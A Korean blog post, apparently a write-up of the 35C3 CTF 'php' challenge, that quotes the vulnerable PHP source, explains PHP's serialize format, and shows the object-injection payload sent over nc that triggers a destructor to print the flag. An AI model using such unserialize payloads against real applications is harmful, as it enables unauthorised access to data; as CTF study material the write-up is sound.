어제 ctftime을 돌아보다가 35C3 CTF가 하고 있길래 한 문제를 풀어보았다. 원래 몇개 더 풀어보고 싶었는데 어떻게 푸는건지를 모르겠다. 아직 Write up이 안올라왔던데, 나중에 올라오면 찾아봐야겠다.

일단 php 문제 정보는 다음과 같다.

1
2
3
PHP's unserialization mechanism can be exceptional. Guest challenge by jvoisin.

Files at https://35c3ctf.ccc.ac/uploads/php-ff2d1f97076ff25c5d0858616c26fac7.tar. Challenge running at: nc 35.242.207.13 1

파일을 다운받아 압축을 풀어보면 php.php 파일을 확인할 수 있다. php.php의 내용은 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php

$line = trim(fgets(STDIN));

$flag = file_get_contents('/flag');

class B {
  function __destruct() {
    global $flag;
    echo $flag;
  }
}

$a = @unserialize($line);

throw new Exception('Well that was unexpected…');

echo $a;

STDIN으로 입력 값을 받아 $line에 저장한 후, 이를 unserialize 함수를 통해 unserialize 한 값을 $a에 저장한다. 마지막으로 $a를 출력 해 준다. 그런데 위를 살펴보면 B라는 class가 선언되어 있고, __destruct 함수 안에 $flag함수를 출력 해 준다. 아무래도 unserialize 함수의 취약점(?)을 가지고 푸는 문제인 것 같아 일단 unserialize함수가 무엇인지를 찾아보았다.

serialize()

PHP 변수들을 string으로 만들어 주는 함수  
ex) serialize(array(3, 4, 5, 6)) => a:4:{i:0;i:3;i:1;i:4;i:2;i:5;i:3;i:6;}  
a:4 => 배열의 크기는 4  
object 일 경우 O:object_name_length:"object_name":object_size:  
ex) O:8:"stdclass":8:  
i:0;i:3 => 배열 첫 번째 인덱스의 값은 3  
int가 아닌 string 형태 일 경우 s:string_length:"string";    
ex) s:3:"one";

unserialize()

serialize 된 변수를 PHP 값으로 변환  
ex) unserialize(a:4:{i:0;i:3;i:1;i:4;i:2;i:5;i:3;i:6;}) => Array([0] => 3 [1] => 4 [2] => 5 [3] => 6)  

그런데 찾아보다 보니, 아래와 같은 블로그를 찾을 수 있었다.

http://qkqhxla1.tistory.com/444

php object injection에 대한 설명인데, 취약점 exploit을 위한 아래의 두 가지 조건이 php 문제와 정확히 일치한다.

  1. 어플리케이션은 php의 매직 메소드(__wakeup이나 destrust 같은)를 구현한 클래스를 가지고 있어야 한다.
  2. 공격중의 모든 클래스들은 취약한 unserialize()가 호출되기 전에 선언되어야 한다.

그래서 아래와 같이 입력 해 보았다.

1
O:1:"B":1{s:4:"flag";s:5:"/flag";}

그러면 B 클래스에 flag라는 이름으로 /flag를 할당하고 __destruct 메소드를 호출하며 echo $flag를 실행 할 것이다. 문제에 접속하여 위와 같이 입력 했더니 flag를 읽을 수 있었다!

1
2
3
4
5
6
7
$ nc 35.242.207.13 1
O:1:"B":1{s:4:"flag";s:5:"/flag";}
35C3_php_is_fun_php_is_fun
PHP Fatal error:  Uncaught Exception: Well that was unexpected… in /home/user/php.php:16
Stack trace:
#0 {main}
  thrown in /home/user/php.php on line 16

그런데 이 문제 다시 생각 해 보니 어찌됬든 __destruct 메소드만 호출하도록 하면 되서 굳이 내가 한 방식 말고 O:1:"B":1:{} 이런식으로 해도 문제가 풀릴 것 같다. 근데 뭐 풀었으니 됬다 ㅎㅎㅎ

1
35C3_php_is_fun_php_is_fun